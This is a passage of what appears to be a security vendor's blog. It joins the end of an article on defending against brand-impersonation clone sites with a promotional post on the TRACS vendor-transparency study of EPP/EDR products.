• Degraded website performance and rising ad costs. If criminals run paid ads using a brand’s name, they siphon traffic away from its official site. Furthermore, if a company pays to advertise its site, the cost per click rises due to the increased competition. This is a particularly acute problem for IT companies selling online services, but it’s also relevant for retail brands.
• Long-term metric decline. This includes drops in sales volume, market share, and market capitalization. These are all consequences of lost trust from customers and business partners following major incidents.

Does insurance cover the damage?

Popular cyber-risk insurance policies typically only cover costs directly tied to incidents explicitly defined in the policy — think data loss, business interruption, IT system compromise, and the like. Fake domains and web pages don’t directly damage a company’s IT systems, so they’re usually not covered by standard insurance. Reputational losses and the act of impersonation itself are separate insurance risks, requiring expanded coverage for this scenario specifically.

Of the indirect losses we’ve listed above, standard insurance might cover DFIR expenses and, in some cases, extra customer support costs (if the situation is recognized as an insured event). Voluntary customer reimbursements, lost sales, and reputational damage are almost certainly not covered.

What to do if your company is attacked by clones

If you find out someone is using your brand’s name for fraud, it makes sense to do the following:

• Send clear, straightforward notifications to your customers explaining what happened, what measures are being taken, and how to verify the authenticity of official websites, emails, and other communications.
• Create a simple “trust center” page listing your official domains, social media accounts, app store links, and support contacts. Make it easy to find and keep it updated.
• Monitor new registrations of social media pages and domain names that contain your brand names to spot the clones before an attack kicks off.
• Follow a takedown procedure. This involves gathering evidence, filing complaints with domain registrars, hosting providers, and social media administrators, then tracking the status until the fakes are fully removed. For a complete and accurate record of violations, preserve URLs, screenshots, metadata, and the date and time of discovery. Ideally, also examine the source code of fake pages, as it might contain clues pointing to other components of the criminal operation.
• Add a simple customer reporting form for suspicious sites or messages to your official website and/or branded app. This helps you learn about problems early.
• Coordinate activities between your legal, cybersecurity, and marketing teams. This ensures a consistent, unified, and effective response.

How to defend against brand impersonation attacks

While the open nature of the internet and the specifics of these attacks make preventing them outright impossible, a business can stay on top of new fakes and have the tools ready to fight back.

• Continuously monitor for suspicious public activity using specialized monitoring services. The most obvious indicator is the registration of domains similar to your brand name, but there are others — like someone buying databases related to your organization on the dark web. Comprehensive monitoring of all platforms is best outsourced to a specialized service provider, such as Kaspersky Digital Footprint Intelligence (DFI).
• The quickest and simplest way to take down a fake website or social media profile is to file a trademark infringement complaint. Make sure your portfolio of registered trademarks is robust enough to file complaints under UDRP procedures before you need it.
• When you discover fakes, deploy UDRP procedures promptly to have the fake domains transferred or removed. For social media, follow the platform’s specific infringement procedure — easily found by searching for “[social media name] trademark infringement” (for example, “LinkedIn trademark infringement”). Transferring the domain to the legitimate owner is preferred over deletion, as it prevents scammers from simply re-registering it. Many continuous monitoring services, such as Kaspersky Digital Footprint Intelligence, also offer a rapid takedown service, filing complaints on the protected brand’s behalf.
• Act quickly to block fake domains on your corporate systems. This won’t protect partners or customers, but it’ll throw a wrench into attacks targeting your own employees.
• Consider proactively registering your company’s website name and common variations (for example, with and without hyphens) in all major top-level domains, such as .com, and local extensions. This helps protect partners and customers from common typos and simple copycat sites.

The life of a modern head of information security (also known as CISO – Chief Information Security Officer) is not just about fighting hackers. It’s also an endless quest that goes by the name of “compliance”. Regulators keep tightening the screws, standards pop up like mushrooms, and headaches only get worse; but wait… – there’s more: CISOs are responsible not only for their own perimeter, but what goes on outside it too: for their entire supply chain, all their contractors, and the whole hodge-podge of software their business processes run on. Though the logic here is solid, it’s also unfortunately ruthless: if a hole is found at your supplier, but the problems hit you, in the end it’s you who’s held accountable. This logic applies to security software too.

Back in the day, companies rarely thought about what was actually inside the security solutions and products they used. Now, however, businesses – especially large ones – want to know everything: what’s really inside the box? Who wrote the code? Is it going to break some critical function or could it even bring everything down? (We’ve seen such precedents; example: the Crowdstrike 2024 update incident.) Where and how is data processed? And these are the right questions to ask.

The problem lies in the fact that almost all customers trust their vendors to answer accurately when asked such questions – very often because they have no other choice. A more mature approach in today’s cyber-reality is to verify.

In corporate-speak this is called supply-chain trust, and trying to solve this puzzle on your own is a serious headache. You need help from vendors. A responsible vendor is ready to show what’s under the hood of its solutions, to open up the source code to partners and customers for review, and, in general, to earn trust not with nice slides but with solid, practical steps.

So who’s already doing this, and who’s still stuck in the past? A fresh, in-depth study from our colleagues in Europe has the answer. It was conducted by the respected testing lab AV-Comparatives, the Tyrol Chamber of Commerce (WKO), the MCI Entrepreneurial School, and the law firm Studio Legale Tremolada.

The main conclusion of the study is that the era of “black boxes” in cybersecurity is over. RIP. Amen. The future belongs to those who don’t hide their source code and vulnerability reports, and who give customers maximum choice when configuring their products. And the report clearly states who doesn’t just promise but actually delivers. Guess who!…

What a great guess! Yes – it’s us!

We give our customers something that is still, unfortunately, a rare and endangered species in the industry: transparency centers, source code reviews of our products, a detailed software bill of materials (SBOM), and the ability to check update history and control rollouts. And of course we provide everything that’s already become the industry standard. You can study all the details in the full “Transparency and Accountability in Cybersecurity” (TRACS) report, or in our summary. Below, I’ll walk through some of the most interesting bits.

Not mixing apples and oranges

TRACS reviewed 14 popular vendors and their EPP/EDR products – from Bitdefender and CrowdStrike to our EDR Optimum and WithSecure. The objective was to understand which vendors don’t just say “trust us”, but actually let you verify their claims. The study covered 60 criteria: from GDPR (General Data Protection Regulation – it’s a European study after all) compliance and ISO 27001 audits, to the ability to process all telemetry locally and access a product’s source code. But the authors decided not to give points for each category or form a single overall ranking.

Why? Because everyone has different threat models and risks. What is a feature for one may be a bug and a disaster for another. Take fast, fully automatic installation of updates. For a small business or a retail company with thousands of tiny independent branches, this is a blessing: they’d never have enough IT staff to manage all of that manually. But for a factory where a computer controls the conveyor it would be totally unacceptable. A defective update can bring a production line to a standstill, which in terms of business impact could be fatal (or at least worse than the recent Jaguar Land Rover cyberattack); here, every update needs to be tested first. It’s the same story with telemetry. A PR agency sends data from its computers to the vendor’s cloud to participate in detecting cyberthreats and get protection instantly. Perfect. A company that processes patients’ medical records or highly classified technical designs on its computers? Its telemetry settings would need to be reconsidered.

Ideally, each company should assign “weights” to every criterion, and calculate its own “compatibility rating” with EDR/EPP vendors. But one thing is obvious: whoever gives customers choices, wins.

Take file reputation analysis of suspicious files. It can work in two ways: through the vendor’s common cloud, or through a private micro-cloud within a single organization. Plus there’s the option to disable this analysis altogether and work completely offline. Very few vendors give customers all three options. For example, “on-premise” reputation analysis is available from only eight vendors in the test. It goes without saying we’re one of them.

Raising the bar

In every category of the test the situation is roughly the same as with the reputation service. Going carefully through all 45 pages of the report, we’re either ahead of our competitors or among the leaders. And we can proudly say that in roughly a third of the comparative categories we offer significantly better capabilities than most of our peers. See for yourself:

Visiting a transparency center and reviewing the source code? Verifying that the product binaries are built from this source code? Only three vendors in the test provide these things. And for one of them – it’s only for government customers. Our transparency centers are the most numerous and geographically spread out, and offer customers the widest range of options.

Downloading database updates and rechecking them? Only six players – including us – provide this.

Configuring multi-stage rollout of updates? This isn’t exactly rare, but it’s not widespread either – only seven vendors besides us support it.

Reading the results of an external security audit of the company? Only we and six other vendors are ready to share this with customers.

Breaking down a supply chain into separate links using an SBOM? This is rare too: you can request an SBOM from only three vendors. One of them is the green-colored company that happens to bear my name.

Of course, there are categories where everyone does well: all of them have successfully passed an ISO/IEC 27001 audit, comply with GDPR, follow secure development practices, and accept vulnerability reports.

Finally, there’s the matter of technical indicators. All products that work online send certain technical data about protected computers, and information about infected files. For many businesses this isn’t a problem, and they’re glad it improves effectiveness of protection. But for those seriously focused on minimizing data flows, AV-Comparatives measures those too – and we just so happen to collect the least amounts of telemetry compared to other vendors.

Practical conclusions

Thanks to the Austrian experts, CISOs and their teams now have a much simpler task ahead when checking their security vendors. And not just the 14 that were tested. The same framework can be applied to other security solution vendors and to software in general. But there are strategic conclusions too…

Transparency makes risk management easier. If you’re responsible for keeping a business running, you don’t want to guess whether your protection tool will become your weak point. You need predictability and accountability. The WKO and AV-Comparatives study confirms that our model reduces these risks and makes them manageable.

Evidence instead of slogans. In this business, it’s not enough to be able write “we are secure” on your website. You need audit mechanisms. The customer has to be able to drop by and verify things for themselves. We provide that. Others are still catching up.

Transparency and maturity go hand in hand. Vendors that are transparent for their customers usually also have more mature processes for product development, incident response, and vulnerability handling. Their products and services are more reliable.

Our approach to transparency (GTI) works. When we announced our initiative several years ago and opened Transparency Centers around the world, we heard all kinds of things from critics – like that it was a waste of money and that nobody needed it. Now independent European experts are saying that this is how a vendor should operate in 2025 and beyond.

It was a real pleasure reading this report. Not just because it praises us, but because the industry is finally turning in the right direction – toward transparency and accountability.

We started this trend, we’re leading it, and we’re going to keep pioneering within it. So, dear readers and users, don’t forget: trust is one thing; being able to fully verify is another.